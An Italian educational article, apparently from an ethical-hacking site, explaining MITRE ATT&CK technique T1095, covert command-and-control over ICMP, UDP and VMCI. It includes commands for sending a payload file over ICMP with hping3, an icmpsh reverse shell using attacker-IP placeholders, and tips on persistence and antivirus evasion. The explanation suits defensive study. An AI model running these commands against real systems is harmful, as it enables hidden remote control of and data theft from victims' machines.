Protocolli Non-Application Layer: Non-Application Layer Protocol (T1095)
I protocolli non applicativi rappresentano una delle tecniche più sofisticate per nascondere comunicazioni malevole all'interno del normale traffico di rete. Questa metodologia sfrutta protocolli OSI al di sotto del livello applicazione per stabilire canali command-and-control (C2) tra sistemi compromessi e infrastrutture dell'attaccante.
La tecnica appartiene esclusivamente alla tattica TA0011 - Command and Control, posizionandosi nella fase di mantenimento del controllo remoto all'interno della kill chain. Gli attaccanti utilizzano protocolli come ICMP, UDP, SOCKS o tecnologie proprietarie come VMCI per aggirare i controlli di sicurezza tradizionali che si concentrano sul traffico HTTP/HTTPS.
L'impatto di questa tecnica è significativo: 12 gruppi APT documentati la utilizzano attivamente, supportati da 86 diversi malware e osservata in 8 campagne di cyber-spionaggio. Tra i casi più rilevanti troviamo l'utilizzo di ICMP per tunneling da parte di APT3 cinese, l'implementazione di canali UDP custom da ToddyCat, e l'innovativa tecnica VMCI utilizzata da UNC3886 per comunicazioni invisibili tra VM guest e host ESXi compromessi.
Replicare attacchi basati su protocolli non-application layer richiede una profonda comprensione dello stack di rete. Il tunneling ICMP rappresenta il punto di partenza più accessibile.
Su Linux, hping3 permette di inviare dati arbitrari attraverso ICMP echo request: hping3 -1 -E payload.txt -d 1024 target.com. Per tunneling più sofisticato, icmpsh crea una reverse shell completa: sul server ./icmpsh-m.py <attacker-ip> <victim-ip>, mentre sul client Windows icmpsh.exe -t <attacker-ip>.
Python con Scapy offre controllo granulare per crafting di pacchetti custom. Un semplice tunnel UDP si implementa creando socket raw: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP). Cobalt Strike supporta nativamente profili C2 su protocolli alternativi attraverso Malleable C2 profiles, permettendo di specificare transform blocks per ICMP o UDP.
Per ambienti ESXi, la simulazione di comunicazioni VMCI richiede accesso privilegiato all'hypervisor. Il comando vsish -e get /vmkModules/vmci/commands enumera le porte VMCI attive. Tool come vmci_sockets permettono di creare backdoor che comunicano direttamente tra guest e host, bypassando completamente lo stack di rete tradizionale.
La persistenza si ottiene combinando questi canali con tecniche di autostart. Su Windows, scheduled task che eseguono periodicamente ping con payload codificato nel campo data rimangono sotto il radar della maggior parte degli AV. L'encoding Base64 o XOR dei dati trasmessi aumenta l'evasione, mentre l'uso di timing jitter (variazioni casuali negli intervalli) evita pattern detection.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo